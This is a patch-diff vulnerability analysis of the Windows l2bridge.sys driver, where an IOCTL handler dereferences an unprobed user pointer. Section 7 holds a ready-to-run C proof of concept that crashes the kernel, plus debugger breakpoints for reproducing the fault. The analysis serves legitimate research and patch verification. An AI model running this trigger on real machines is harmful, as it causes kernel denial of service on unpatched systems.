l2bridge.sys — Missing ProbeForRead on Fast I/O IOCTL handler dereferences an untrusted user pointer (CWE-125), now fixed
KB5073723
1. Overview
| Field | Value |
|---|---|
| Unpatched binary | l2bridge_unpatched.sys |
| Patched binary | l2bridge_patched.sys |
| Overall similarity | 0.4922 |
| Matched functions | 61 |
| Changed functions | 42 |
| Identical functions | 19 |
| Unmatched (unpatched → patched) | 0 / 0 |
Verdict. The patch fixes a missing ProbeForRead vulnerability in L2BridgeCtlBridgeInterfaces_Handler: a user-mode caller can submit an arbitrary pointer through DeviceIoControl on \\.\L2BRIDGE (IOCTL 0x12a000), and because the request is serviced through the driver's Fast I/O device-control routine (which hands over the caller's raw InputBuffer with no I/O-manager copy), the kernel handler dereferences that pointer before any size check, NULL check, or probe. The demonstrable impact is a reliable kernel crash (denial of service) from an unprivileged caller: the dereference reads 16 bytes from an attacker-controlled address, and the read value is consumed only internally (as two bridge-interface identifiers) and is never returned to the caller, so it is not a self-contained information leak. The rest of the 49% similarity delta is dominated by an unrelated driver feature upgrade (TCP segmentation / RSC support, struct-layout expansion), not security work.
2. Vulnerability Summary
Finding 1 — Missing ProbeForRead (CWE-125)
- Severity: Medium
- Vulnerability class: Missing
ProbeForReadon a user-mode pointer passed via the Fast I/O device-control path (untrusted-pointer / out-of-bounds read; kernel-mode denial of service). - Affected function:
L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c(unpatched). - Attacker entry point:
DeviceIoControlon\\.\L2BRIDGE, IOCTL0x12a000, via the Fast I/O dispatch routineFilterFastDeviceIoControl @ 0x1c0009b40.
Root cause. The device \Device\l2bridge (Win32 name \\.\L2BRIDGE) registers a Fast I/O dispatch path. Fast I/O bypasses the I/O manager's IRP/METHOD_BUFFERED copy logic and hands the driver the raw user-mode InputBuffer pointer. The handler L2BridgeCtlBridgeInterfaces_Handler treats its first argument (rcx) as a 16-byte GUID and immediately executes:
movups xmm0, xmmword [rcx] ; dereference raw user ptr, NO probe
at 0x1c0009c6f, before the size check (cmp edx, 0x10 at 0x1c0009c85), before any NULL check, and before any ExGetPreviousMode() gate. The unpatched driver does not even import ProbeForRead or ExGetPreviousMode. The 16 bytes are then used as a GUID for L2BridgeFindandReferenceFilterModule.
What the patch does. The patched handler:
1. Performs the size check first (cmp edx, 0x10).
2. Adds test rcx, rcx (NULL check).
3. Calls ExGetPreviousMode(); only if the previous mode is User does it call ProbeForRead(arg1, 0x10, 4).
4. Only then dereferences *arg1.
Why it is exploitable. A user-mode caller can supply lpInBuffer of any 64-bit value — there is no requirement that it point inside the caller's address space. Consequences:
- Pass an unmapped address (e.g.
0x1) → the kernel takes a page fault inmovups→ BSODPAGE_FAULT_IN_NONPAGED_AREA(0x50). This is a reliable denial of service reachable from any caller that can open the device. - Pass a valid kernel address → the kernel reads 16 bytes from that address into XMM0 / stack. Those 16 bytes are split into two 8-byte bridge-interface identifiers that are used only as keys into
L2BridgeFindandReferenceFilterModule; the read value itself is never copied back to the caller. The handler returns only a status code, so this is a blind read, not a self-contained information-disclosure primitive.
Call chain (attacker-reachable).
- User-mode process opens
\\.\L2BRIDGEviaCreateFileW. - User-mode process calls
DeviceIoControl(h, 0x12a000, lpInBuffer, nInBufferSize, ...). - I/O Manager invokes the Fast I/O dispatch routine
FilterFastDeviceIoControl @ 0x1c0009b40. - At
0x1c0009b86, the routine loads the raw user pointer intorcx(mov rcx, rdi) and at0x1c0009b89callsL2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c. L2BridgeCtlBridgeInterfaces_Handlerat0x1c0009c6fexecutesmovups xmm0, [rcx]— vulnerable dereference.- The 16 bytes are then used as a GUID for
L2BridgeFindandReferenceFilterModule @ 0x1c0009bb0(called from0x1c0009ca4).
3. Pseudocode Diff
// ============================== UNPATCHED ==============================
// L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c
uint64_t L2BridgeCtlBridgeInterfaces_Handler(
void* arg1, // raw user-mode InputBuffer pointer
int32_t arg2, // InputBufferLength (edx)
int64_t arg3,
int32_t arg4)
{
// <<< VULN: dereferences arg1 BEFORE any check
__int128 guid0 = *(__int128*)arg1;
// size / arg checks happen AFTER the deref
if (arg2 < 0x10 || arg4 != 0 || arg3 != 0) {
return STATUS_INVALID_PARAMETER; // 0xC000000D-ish
}
FILTER_MODULE* fm1 = L2BridgeFindandReferenceFilterModule(&guid0);
...
}
// =============================== PATCHED ===============================
// L2BridgeCtlBridgeInterfaces_Handler @ 0x140011a28
uint64_t L2BridgeCtlBridgeInterfaces_Handler(
void* arg1,
int32_t arg2,
int64_t arg3,
int32_t arg4)
{
if (arg2 < 0x10 || arg1 == NULL || arg4 != 0 || arg3 != 0) { // size + NULL check FIRST
return STATUS_INVALID_PARAMETER;
}
if (ExGetPreviousMode() == UserMode) { // <<< ADDED
ProbeForRead(arg1, 0x10, sizeof(ULONG)); // <<< ADDED
}
__int128 guid0 = *(__int128*)arg1; // safe dereference AFTER probe
...
}
The single most important line in the diff is the move of *arg1 to the bottom of the validation block. The unpatched version reads it at the top, before the size check can reject a zero-length buffer.
4. Assembly Analysis
L2BridgeCtlBridgeInterfaces_Handler (unpatched, 0x1c0009c5c)
0x1c0009c5c mov r11, rsp
0x1c0009c5f mov qword [r11+0x10], rbx
0x1c0009c63 mov qword [r11+0x18], rbp
0x1c0009c67 push rsi
0x1c0009c68 push rdi
0x1c0009c69 push r14
0x1c0009c6b sub rsp, 0x40
0x1c0009c6f movups xmm0, xmmword [rcx] ; <<< VULN: deref raw user ptr, NO probe
0x1c0009c72 xor eax, eax
0x1c0009c74 xor edi, edi
0x1c0009c76 xor esi, esi
0x1c0009c78 mov qword [r11+0x8], rax
0x1c0009c7c xor r14b, r14b
0x1c0009c7f movdqu xmmword [rsp+0x30], xmm0 ; save the 16 bytes read from the user pointer
0x1c0009c85 cmp edx, 0x10 ; <<< size check is AFTER the deref
0x1c0009c88 jb 0x1c0009d92 ; reject if InputBufferLength < 0x10
0x1c0009c8e test r9d, r9d ; arg4 == 0 ?
0x1c0009c91 jne 0x1c0009d92
0x1c0009c97 test r8, r8 ; arg3 == 0 ?
0x1c0009c9a jne 0x1c0009d92
0x1c0009ca0 mov rcx, qword [r11-0x28] ; pointer to saved GUID
0x1c0009ca4 call 0x1c0009bb0 ; L2BridgeFindandReferenceFilterModule
0x1c0009ca9 mov rdi, rax ; result = filter module 1
0x1c0009cac test rax, rax
0x1c0009caf jne 0x1c0009cbb
0x1c0009cb1 mov ebx, 0xc0000225 ; STATUS_NOT_FOUND
0x1c0009cb6 jmp 0x1c0009e1d
0x1c0009cbb mov rcx, qword [rsp+0x38] ; second GUID pointer
0x1c0009cc0 call 0x1c0009bb0 ; L2BridgeFindandReferenceFilterModule
0x1c0009cc5 mov rsi, rax
...
0x1c0009e1d mov rbp, qword [rsp+0x70]
0x1c0009e22 mov eax, ebx
0x1c0009e24 mov rbx, qword [rsp+0x68]
0x1c0009e29 add rsp, 0x40
0x1c0009e2d pop r14
0x1c0009e2f pop rdi
0x1c0009e30 pop rsi
0x1c0009e31 retn
Annotations:
0x1c0009c6f—movups xmm0, xmmword [rcx]is the vulnerable instruction.rcxis the raw userInputBufferwith noProbeForRead, no NULL check, no previous-mode gate.0x1c0009c85— the size check (cmp edx, 0x10) that should have come first.0x1c0009ca4— first use of the read bytes as a lookup key, inL2BridgeFindandReferenceFilterModule.
Patched equivalent (0x140011a28)
0x140011a28 mov [rsp+arg_0], rsi
0x140011a2d mov [rsp+arg_10], rdi
0x140011a32 push r12
0x140011a34 push r14
0x140011a36 push r15
0x140011a38 sub rsp, 0x60
0x140011a3c mov rdi, rcx ; save raw ptr, do NOT deref yet
0x140011a3f xor esi, esi
0x140011a51 cmp edx, 0x10 ; size check FIRST
0x140011a54 jb loc_140011b88
0x140011a5a test rcx, rcx ; <<< ADDED: NULL check
0x140011a5d jz loc_140011b88
0x140011a63 test r9d, r9d
0x140011a66 jnz loc_140011b88
0x140011a6c test r8, r8
0x140011a6f jnz loc_140011b88
0x140011a75 call cs:__imp_ExGetPreviousMode ; <<< ADDED: previous-mode gate
0x140011a81 test al, al
0x140011a83 jz short loc_140011a9b ; skip probe if kernel-mode caller
0x140011a85 lea edx, [rsi+0x10] ; Length = 0x10
0x140011a88 lea r8d, [rsi+0x4] ; Alignment = 4
0x140011a8c mov rcx, rdi ; Address = arg1
0x140011a8f call cs:__imp_ProbeForRead ; <<< ADDED: ProbeForRead(arg1, 0x10, 4)
0x140011a9b movups xmm0, xmmword ptr [rdi] ; dereference, AFTER probe
0x140011a9e movdqu [rsp+0x48], xmm0
0x140011aa4 mov rcx, qword ptr [rsp+0x48]
0x140011aa9 call L2BridgeFindandReferenceFilterModule
FilterFastDeviceIoControl (unpatched, 0x1c0009b40) — the entry path
0x1c0009b40 mov qword [rsp+0x8], rbx
0x1c0009b45 push rdi
0x1c0009b46 sub rsp, 0x20
0x1c0009b4a xor ecx, ecx
0x1c0009b4c mov ebx, r9d ; ebx = OutputBufferLength
0x1c0009b4f mov rdi, r8 ; rdi = InputBuffer (raw user ptr)
0x1c0009b52 call qword [IoIs32bitProcess]
0x1c0009b59 nop
0x1c0009b5e test al, al
0x1c0009b60 je 0x1c0009b69
0x1c0009b69 cmp dword [rsp+0x60], 0x12a000 ; IOCTL == 0x12a000 ?
0x1c0009b71 je 0x1c0009b7a
0x1c0009b7a mov r9d, dword [rsp+0x58] ; arg4 (must be 0)
0x1c0009b7f mov edx, ebx ; edx = InputBufferLength
0x1c0009b81 mov r8, qword [rsp+0x50] ; arg3 (must be 0)
0x1c0009b86 mov rcx, rdi ; rcx = InputBuffer (RAW user ptr)
0x1c0009b89 call 0x1c0009c5c ; L2BridgeCtlBridgeInterfaces_Handler(...)
...
0x1c0009b9f mov al, 0x1 ; return TRUE = Fast I/O handled
Note the absence of any probe or buffered-copy here as well — Fast I/O by contract hands the driver raw user pointers; the callee must do its own probing. The patched callee now does so.
5. Trigger Conditions
- Obtain a handle to the device:
CreateFileW(L"\\\\.\\L2BRIDGE", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL). The device is created byFilterRegisterDevicewith no explicit SDDL, so it inherits default NDIS device ACLs (typically accessible to medium-IL user-mode callers on the local machine). - Issue
DeviceIoControl(h, 0x12a000, lpInBuffer, nInBufferSize, ...). The IOCTL decodes asDeviceType=0x12 (FILE_DEVICE_NETWORK),Function=0x800,Method=0 (METHOD_BUFFERED),Access=2 (FILE_WRITE_ACCESS). Although the code isMETHOD_BUFFERED— which under normal IRP dispatch would make the I/O manager copy the input into a kernelSystemBuffer— the request is serviced by the driver's Fast I/O device-control routine, which hands over the caller's rawInputBufferpointer with no such copy. The routine returnsTRUE, so the Fast I/O path is taken and the raw pointer reaches the handler untouched. - Set
lpInBufferto the target address the attacker wants the kernel to read 16 bytes from. - BSOD DoS: pass
lpInBuffer = (LPVOID)0x1(or any unmapped user-mode address). - Blind read (no crash): pass
lpInBuffer = (LPVOID)<kernel VA>for a valid, mapped kernel address. The 16 bytes are read but not returned to the caller. nInBufferSizecan be anything; the vulnerablemovupsat0x1c0009c6fexecutes unconditionally before the size check at0x1c0009c85. Setting it to0x10is harmless; setting it to0still triggers the dereference.- No race conditions or special ordering required — single synchronous call.
- Confirmation:
- DoS path: BugCheck
0x50 PAGE_FAULT_IN_NONPAGED_AREAwith the faulting address equal to the suppliedlpInBuffervalue and the faulting instruction at0x1c0009c6f. - Blind-read path: no crash for a valid, mapped kernel address; the 16 bytes are read into
xmm0and used internally only. Under a debugger,xmm0immediately after0x1c0009c6fshows the 16 read bytes, but nothing is returned to the caller.
6. Exploit Primitive & Development Notes
Primitive. The demonstrable primitive is:
- Reliable BSOD / DoS from any caller that can open the device. Passing an unmapped pointer faults in
movups xmm0, [rcx]at0x1c0009c6fbefore any validation, producing a kernel bug check.
The dereference also performs a 16-byte read from the attacker-supplied address, but that value is consumed only as two lookup keys inside L2BridgeFindandReferenceFilterModule and is never copied back to user mode. The only caller-observable result is the returned status code, which reflects at most whether the read bytes happened to equal an existing filter-module identifier (an 8-byte exact-match test against a value the attacker does not control at that address). That is not a usable memory-disclosure oracle, so this bug does not by itself yield an information leak, KASLR defeat, or a read primitive that can be scanned across kernel memory. Turning the read into an actual disclosure would require a separate side channel or bug; none is provided by this handler.
Relevant mitigations.
| Mitigation | Effect on this bug |
|---|---|
| SMEP / SMAP | Do not prevent the crash; the fault is a kernel-mode access to the attacker-supplied address. SMAP only restricts kernel access to user pages. |
ProbeForRead (in the patched build) |
Closes the bug for user-mode callers: an invalid or non-readable user pointer is rejected by ProbeForRead (raising STATUS_ACCESS_VIOLATION inside a guarded region) instead of being dereferenced. |
7. Debugger PoC Playbook
Assuming WinDbg/KD is attached to a target running l2bridge_unpatched.sys:
Breakpoints (ready-to-paste)
bp l2bridge!FilterFastDeviceIoControl+0x46 ; corresponds to 0x1c0009b86 — load of raw InputBuffer into rcx
bp 0x1c0009c5c ; L2BridgeCtlBridgeInterfaces_Handler entry — rcx = InputBuffer
bp 0x1c0009c6f ; the vulnerable movups — last chance to inspect rcx
bp 0x1c0009ca4 ; call to L2BridgeFindandReferenceFilterModule — consumes the read bytes as lookup keys
If symbols are flaky, just use the absolute addresses above (
bp 0x1c0009c6f, etc.). If the driver is relocated, get its base vialm m l2bridgeand add the RVA: e.g. for base0xFFFFF801'23400000, the vulnerable instruction isbp fffff801'23409c6f(RVA0x9c6f).
What to inspect at each breakpoint
| Breakpoint | Register/Memory to watch | Why |
|---|---|---|
FilterFastDeviceIoControl (0x1c0009b86) |
rdi (= r8 on entry = raw InputBuffer); [rsp+0x60] should equal 0x12a000; ebx = InputBufferLength (copied from r9d on entry) |
Confirms IOCTL code and the raw pointer being forwarded. |
L2BridgeCtlBridgeInterfaces_Handler (0x1c0009c5c) |
rcx = attacker-controlled InputBuffer pointer; edx = InputBufferLength; r8 = OutputBuffer (must be 0); r9d = OutputBufferLength (must be 0) |
Last point at which the pointer is intact in rcx. |
Vulnerable movups (0x1c0009c6f) |
rcx — this is the address that will be read |
If rcx is 0x1 or unmapped → expect BSOD 0x50 next instruction. If rcx is a kernel VA → no fault; step one instruction and inspect xmm0. |
After movups (0x1c0009c72) |
xmm0, [rsp+0x30] |
Contains the 16 bytes read from the supplied address; used only as two lookup keys, not returned to the caller. |
L2BridgeFindandReferenceFilterModule (0x1c0009ca4) |
rcx (pointer to the saved 16 bytes on stack [r11-0x28]); result returned in rax |
Confirms how the read bytes are consumed; for a kernel VA input the keys will not match → rax = NULL → handler returns STATUS_NOT_FOUND (0xC0000225). |
Key instructions / offsets
0x1c0009c6f—movups xmm0, xmmword [rcx]— the vulnerable instruction.0x1c0009c85—cmp edx, 0x10— size check that should have come first.0x1c0009ca0—mov rcx, qword [r11-0x28]— sets up the GUID pointer argument for the lookup.0x1c0009ca4—call 0x1c0009bb0(L2BridgeFindandReferenceFilterModule).0x1c0009b86/0x1c0009b89— inFilterFastDeviceIoControl: loadInputBufferintorcxand call the handler.- Patch's added instructions (to diff against the unpatched build):
test rcx, rcx,call qword [ExGetPreviousMode],call qword [ProbeForRead]. The unpatched import table does not contain eitherExGetPreviousModeorProbeForRead.
Trigger setup (from user mode)
#include <windows.h>
int main() {
HANDLE h = CreateFileW(L"\\\\.\\L2BRIDGE",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) { return GetLastError(); }
// Path A — instant BSOD (DoS). Pointer 0x1 is unmapped.
DWORD bytes;
DeviceIoControl(h, 0x12a000, (LPVOID)0x1, 0x10, NULL, 0, &bytes, NULL);
// Path B — blind 16-byte kernel read (value is NOT returned to the caller).
// Replace <kernelVA> with a known mapped kernel address.
// ULONG_PTR target = <kernelVA>;
// DeviceIoControl(h, 0x12a000, (LPVOID)target, 0x10, NULL, 0, &bytes, NULL);
CloseHandle(h);
return 0;
}
Expected observation
- DoS path:
BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA); parameter 1 = thelpInBuffervalue (0x1); faulting IP =0x1c0009c6f. - Blind-read path: call returns
STATUS_NOT_FOUND (0xC0000225)(mapped from the handler'sebx = 0xc0000225at0x1c0009cb1). No crash. Under the debugger,xmm0after0x1c0009c6fholds the 16 bytes read from the supplied kernel address, but that value is not returned to user mode.
Struct / offset notes
L2BridgeCtlBridgeInterfaces_Handlerargument layout (x64 fastcall):rcx=arg1(InputBuffer, dereferenced as 16 bytes = two 8-byte interface identifiers),edx=arg2(InputBufferLength),r8= OutputBuffer,r9d= OutputBufferLength. Both OutputBuffer and OutputBufferLength must be 0 to reach the lookup path.FilterFastDeviceIoControl(FastIoDeviceControl callback) reads on entryr8= InputBuffer,r9d= InputBufferLength (copied toebx); the stack args land at[rsp+0x50]= OutputBuffer,[rsp+0x58]= OutputBufferLength,[rsp+0x60]= IoControlCode,[rsp+0x68]= IoStatus.- The saved 16 bytes live on the handler stack at
[rsp+0x30](the second 8-byte identifier is sourced from[rsp+0x38]). FILTER_MODULElayout: in the unpatched build,+0x84holds the field compared between the two looked-up filter modules (cmp dword [rdi+0x84], eaxat0x1c0009cdd). In the patched build this moves to+0x8cbecause of a new 8-byteRWLockfield inserted at offset0x10of the structure.
8. Changed Functions — Full Triage
Security-relevant changes:
L2BridgeCtlBridgeInterfaces_Handler(sim 0.82,security_relevant): the headline fix. AddsProbeForRead(arg1, 0x10, 4)gated onExGetPreviousMode() == UserMode, plus a NULL check and reordering of the size check. The unpatched build imports neitherProbeForReadnorExGetPreviousMode.FilterFastDeviceIoControl(sim 0.99,security_relevant): the entry point to the bug. Both versions forward the rawInputBufferasrcxto the handler; the fix is in the callee, so this function is essentially unchanged except for a minor result-store reordering.GetLinkLayerAddressFromND(sim 0.85, not security-relevant): replaces unsigned-subtraction ICMPv6 type/code range checks (unpatched at0x1c000260f:type + 0x79 <= 1, andcode - 1 <= 1) with explicit equality checks (patched at0x14000241b:type == 0x87 || type == 0x88,code == 1 || code == 2). The two forms accept exactly the same value sets ({0x87,0x88}and{1,2}), so this is a functionally equivalent refactor, not a security boundary change. The type and code are single bytes, so the unsigned subtraction did not admit any additional value; there is no exploitable difference.
Behavioral (non-security) changes — feature upgrade across the driver:
L2BridgeCloneIPv6NBL(sim 0.82): addsLookupIPv6AddressInTablein the non-multicast / non-ND path for destination-MAC rewrite.ReceiveNetBufferList(sim 0.93),SendNetBufferList(sim 0.88),FilterReceiveNetBufferLists(sim 0.88),FilterSendNetBufferLists(sim 0.92),FilterSendNetBufferListsComplete(sim 0.78): multicast/unicast decision restructure, NBL splitting simplification, and adapted call signatures.ForwardNBLToFilterModule(sim 0.90): addsHandleRSCPacket/ RSC handling; NBL context allocation grows from0x20→0x28.DriverEntry(sim 0.54): biggest non-security diff — addswil_InitializeFeatureStaging, TCP segmentation library (IppBatchingLibContext,IppSegLibContext,Feature_TCPIP_2025_Wave2_SegLibHeap,MdpCreatePool),NetioCopyNetBufferListQosInformationresolution, andFilterStatusregistration.FilterAttach(sim 0.88): filter module structure grows from0xe0→0xe8(newRWLockfield), replaces single rundown with two separate allocations, addsNdisAllocateRWLock.L2BridgeCloneNBL(sim 0.61),L2BridgeDeepCopyNBL(sim 0.98): context allocation0x20→0x28.AddOrUpdateIPv6RewriteTable(sim 0.87): pool tagNonPagedPoolNx→0x600(which isNonPagedPoolNx), struct-offset shifts.FilterOidRequest(sim 0.93) andFilterOidRequestComplete(sim 0.82): handle OID request types 0 (set) and 2 (method) in addition to 1 (query) in the completion path.DriverUnload(sim 0.65): extra cleanup for the new RSC / feature-staging resources.
Cosmetic / register-allocation-only changes (collapsed).
A large block of functions diff purely due to the 8-byte FILTER_MODULE layout shift (the new RWLock at offset 0x10 cascading offsets 0x84→0x8c, 0xd8→0xe0, 0x60→0x68, 0x5c→0x64, 0x88→0x90, 0xa0→0xa8, 0xa1→0xa9, 0xa4→0xac, 0x10→0x18, etc.) and to compiler differences. These are: RewritePacket, FilterRegisterDevice, FilterSendNetBufferListsComplete, L2BridgeFreeNBL, IsIPv6, DEREF_FILTER_MODULE, CreateBridge, DisconnectInterfaceFromBridge, FreeBridgeResources, FilterReturnNetBufferLists, AddOrUpdateMACForwardingTable, LookupMACAddressInTable, LookupIPv6AddressInTable, LookupTable, CleanupTable, RemoveUnusedEntries, L2BridgeIssueOid, FilterDetach, FilterDispatchSuccess, FilterDispatchNotSupported, FilterDeregisterDevice, memcpy, memset, __GSHandlerCheckCommon. None of these introduce or remove a security boundary.
9. Unmatched Functions
Both unmatched_unpatched and unmatched_patched are empty (0 / 0). There are no added or removed functions; the entire diff is intra-function.
10. Confidence & Caveats
Confidence: High that the missing ProbeForRead is a genuine security fix. The vulnerable instruction, its offset, the entry-path call chain, and the patch's added ProbeForRead/ExGetPreviousMode are directly evidenced by the assembly, the decompilation, and the fact that the unpatched driver imports neither symbol (0 occurrences in the unpatched build, 1 each in the patched build). The IOCTL code 0x12a000 is confirmed by the literal compare at 0x1c0009b69. The severity is set to Medium because the only demonstrable, caller-observable impact is a local kernel denial of service; the 16-byte read is blind (never returned to the caller), so it is not a self-contained information-disclosure primitive.
Assumptions / inferred pieces:
- Device access is assumed to be available to a medium-IL local user because
FilterRegisterDeviceregisters the device with no explicit SDDL. A researcher should verify the effective ACL on\\.\L2BRIDGEon the target OS build (default NDIS device ACLs vary between Windows versions). If the ACL is restrictive, the attacker needs a more privileged principal or an indirect path that opens the handle on their behalf. - The exact Win32 name (
\\.\L2BRIDGE) is inferred from the\DosDevices\L2BRIDGEsymbolic link visible inFilterRegisterDevice. Confirm withwinobj/!object \Device\l2bridgein the debugger. - The 16-byte read is blind: the value is used only as two lookup keys and is never returned to the caller, so this bug does not by itself disclose kernel memory. The demonstrable impact is a kernel denial of service.
- All absolute addresses (
0x1c0009c5c, etc.) are file offsets within the analyzed build. If the driver is recompiled or ASLR-relocated at load time, recompute fromlm m l2bridge.
What to verify manually before claiming exploitability:
- Effective security descriptor on
\Device\l2bridge/\\.\L2BRIDGE(!sdin KD on the device object). - Whether the Fast I/O path is actually taken for IOCTL
0x12a000at runtime (set the breakpoint atFilterFastDeviceIoControland confirm the call lands there rather than falling back to IRP-based dispatch). - Whether the
movupsfault on an unmapped pointer is delivered as a clean0x50BugCheck or first hits a structured exception handler (__try/__except) anywhere up the stack — the analysis shows no SEH around the dereference, but a debugger trace will confirm. - The effective ACL on the device object, which determines whether an unprivileged caller can reach this path at all. The handler itself never writes back to the user-supplied pointer (it is only read as two lookup keys), so there is no user-controlled write primitive in this function.